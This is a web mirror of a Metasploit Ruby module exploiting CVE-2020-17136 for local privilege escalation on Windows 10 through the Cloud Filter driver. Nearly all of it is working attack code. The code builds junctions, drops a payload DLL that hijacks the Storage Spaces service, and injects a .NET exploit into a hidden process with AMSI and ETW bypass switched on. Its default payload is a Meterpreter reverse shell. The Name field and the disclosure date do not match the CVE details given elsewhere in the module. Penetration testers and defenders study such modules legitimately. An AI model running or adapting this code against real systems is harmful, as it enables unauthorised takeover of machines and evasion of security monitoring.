CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/cve_2020_17136.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
include Exploit::EXE
8
include Msf::Post::File
9
include Msf::Post::Windows::Priv
10
include Msf::Post::Windows::Version
11
include Msf::Post::Windows::Process
12
include Msf::Post::Windows::ReflectiveDLLInjection
13
include Msf::Post::Windows::Dotnet
14
include Msf::Post::Windows::Services
15
include Msf::Post::Windows::FileSystem
16
include Msf::Exploit::FileDropper
17
prepend Msf::Exploit::Remote::AutoCheck
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',
24
'Description' => %q{
25
The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December
26
2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when
27
calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()
28
function with attacker controlled input. This meant that files were created with
29
KernelMode permissions, thereby bypassing any security checks that would otherwise
30
prevent a normal user from being able to create files in directories
31
they don't have permissions to create files in.
32
33
This module abuses this vulnerability to perform a DLL hijacking attack against the
34
Microsoft Storage Spaces SMP service, which grants the attacker code execution as the
35
NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one
36
of the Meterpreter payloads, as doing so will allow them to subsequently escalate their
37
new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command
38
to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.
39
},
40
'License' => MSF_LICENSE,
41
'Author' => [
42
'James Foreshaw', # Vulnerability discovery and PoC creator
43
'Grant Willcox' # Metasploit module
44
],
45
'Platform' => ['win'],
46
'SessionTypes' => ['meterpreter'],
47
'Privileged' => true,
48
'Arch' => [ARCH_X64],
49
'Targets' => [
50
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],
51
],
52
'DefaultTarget' => 0,
53
'DisclosureDate' => '2020-03-10',
54
'References' => [
55
['CVE', '2020-17136'],
56
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],
57
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']
58
],
59
'Notes' => {
60
'SideEffects' => [ ARTIFACTS_ON_DISK ],
61
'Reliability' => [ REPEATABLE_SESSION ],
62
'Stability' => [ CRASH_SAFE ]
63
},
64
'DefaultOptions' => {
65
'EXITFUNC' => 'process',
66
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
67
},
68
'Compat' => {
69
'Meterpreter' => {
70
'Commands' => %w[
71
stdapi_sys_process_attach
72
stdapi_sys_process_execute
73
stdapi_sys_process_get_processes
74
stdapi_sys_process_getpid
75
stdapi_sys_process_kill
76
stdapi_sys_process_memory_allocate
77
stdapi_sys_process_memory_write
78
stdapi_sys_process_thread_create
79
]
80
}
81
}
82
)
83
)
84
register_options(
85
[
86
OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),
87
OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),
88
OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])
89
], self.class
90
)
91
92
register_advanced_options(
93
[
94
OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])
95
]
96
)
97
end
98
99
def check_requirements(clr_req, installed_dotnet_versions)
100
installed_dotnet_versions.each do |fi|
101
if clr_req == 'v4.0.30319'
102
if fi[0] == '4'
103
vprint_status('Requirements ok')
104
return true
105
end
106
elsif fi[0] == '3'
107
vprint_status('Requirements ok')
108
return true
109
end
110
end
111
print_error('Required dotnet version not present')
112
false
113
end
114
115
def check
116
if session.platform != 'windows'
117
# Non-Windows systems are definitely not affected.
118
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
119
end
120
121
version = get_version_info
122
123
# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
124
if version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 684)
125
return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')
126
elsif version.build_number == Msf::WindowsVersion::Win10_2004 && version.revision_number.between?(0, 684)
127
return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')
128
elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 1255)
129
return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')
130
elsif version.build_number == Msf::WindowsVersion::Win10_1903 && version.revision_number.between?(0, 1255)
131
return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')
132
elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 1636)
133
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
134
elsif version.build_number == Msf::WindowsVersion::Win10_1803 && version.revision_number.between?(0, 1901)
135
return CheckCode::Appears('A vulnerable Windows 10 v1803 build was detected!')
136
else
137
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
138
end
139
end
140
141
def exploit
142
if sysinfo['Architecture'] != ARCH_X64
143
fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')
144
elsif session.arch != ARCH_X64
145
fail_with(Failure::NoTarget, 'Sorry, WOW64 is not supported at this time!')
146
end
147
dir_junct_path = 'C:\\Windows\\Temp'
148
intermediate_dir = rand_text_alpha(10).to_s
149
junction_dir = rand_text_alpha(10).to_s
150
path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"
151
152
mkdir(path_to_intermediate_dir.to_s)
153
if !directory?(path_to_intermediate_dir.to_s)
154
fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')
155
end
156
register_dir_for_cleanup(path_to_intermediate_dir.to_s)
157
158
mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")
159
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
160
fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')
161
end
162
163
mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')
164
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
165
fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')
166
end
167
168
exe_path = ::File.expand_path(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-17136', 'cloudFilterEOP.exe'))
169
unless File.file?(exe_path)
170
fail_with(Failure::BadConfig, 'Assembly not found')
171
end
172
installed_dotnet_versions = get_dotnet_versions
173
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
174
if installed_dotnet_versions == []
175
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
176
end
177
if check_requirements('v4.0.30319', installed_dotnet_versions) == false
178
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
179
end
180
payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"
181
print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")
182
write_file(payload_path, generate_payload_dll)
183
register_file_for_cleanup(payload_path)
184
execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")
185
service_start('smphost')
186
register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')
187
sleep(3)
188
delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)
189
end
190
191
def pid_exists(pid)
192
mypid = client.sys.process.getpid.to_i
193
194
if pid == mypid
195
print_bad('Cannot select the current process as the injection target')
196
return false
197
end
198
199
host_processes = client.sys.process.get_processes
200
if host_processes.empty?
201
print_bad('No running processes found on the target host.')
202
return false
203
end
204
205
theprocess = host_processes.find { |x| x['pid'] == pid }
206
207
!theprocess.nil?
208
end
209
210
def launch_process
211
process_name = 'notepad.exe'
212
print_status("Launching #{process_name} to host CLR...")
213
214
process = client.sys.process.execute(process_name, nil, {
215
'Channelized' => true,
216
'Hidden' => true,
217
'UseThreadToken' => true,
218
'ParentPid' => 0
219
})
220
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
221
print_good("Process #{hprocess.pid} launched.")
222
[process, hprocess]
223
end
224
225
def inject_hostclr_dll(process)
226
print_status("Reflectively injecting the Host DLL into #{process.pid}..")
227
228
library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')
229
library_path = ::File.expand_path(library_path)
230
231
print_status("Injecting Host into #{process.pid}...")
232
exploit_mem, offset = inject_dll_into_process(process, library_path)
233
[exploit_mem, offset]
234
end
235
236
def execute_assembly(exe_path, exe_args)
237
if sysinfo.nil?
238
fail_with(Failure::BadConfig, 'Session invalid')
239
else
240
print_status("Running module against #{sysinfo['Computer']}")
241
end
242
if datastore['WAIT'].zero?
243
print_warning('Output unavailable as wait time is 0')
244
end
245
246
process, hprocess = launch_process
247
exploit_mem, offset = inject_hostclr_dll(hprocess)
248
249
assembly_mem = copy_assembly(exe_path, hprocess, exe_args)
250
251
print_status('Executing...')
252
hprocess.thread.create(exploit_mem + offset, assembly_mem)
253
254
if datastore['WAIT'].positive?
255
sleep(datastore['WAIT'])
256
read_output(process)
257
end
258
259
if datastore['KILL']
260
print_good("Killing process #{hprocess.pid}")
261
client.sys.process.kill(hprocess.pid)
262
end
263
264
print_good('Execution finished.')
265
end
266
267
def copy_assembly(exe_path, process, exe_args)
268
print_status("Host injected. Copy assembly into #{process.pid}...")
269
int_param_size = 8
270
sign_flag_size = 1
271
amsi_flag_size = 1
272
etw_flag_size = 1
273
assembly_size = File.size(exe_path)
274
275
cln_params = ''
276
cln_params << exe_args
277
cln_params << "\x00"
278
279
payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
280
payload_size += assembly_size + cln_params.length
281
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
282
params = [
283
assembly_size,
284
cln_params.length,
285
datastore['AMSIBYPASS'] ? 1 : 0,
286
datastore['ETWBYPASS'] ? 1 : 0,
287
2
288
].pack('IICCC')
289
params += cln_params
290
291
process.memory.write(assembly_mem, params + File.read(exe_path, mode: 'rb'))
292
print_status('Assembly copied.')
293
assembly_mem
294
end
295
296
def read_output(process)
297
print_status('Start reading output')
298
old_timeout = client.response_timeout
299
client.response_timeout = 5
300
301
begin
302
loop do
303
output = process.channel.read
304
if !output.nil? && !output.empty?
305
output.split("\n").each { |x| print_good(x) }
306
end
307
break if output.nil? || output.empty?
308
end
309
rescue Rex::TimeoutError
310
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
311
rescue ::StandardError => e
312
print_error("Exception: #{e.inspect}")
313
end
314
315
client.response_timeout = old_timeout
316
print_status('End output.')
317
end
318
end
319
320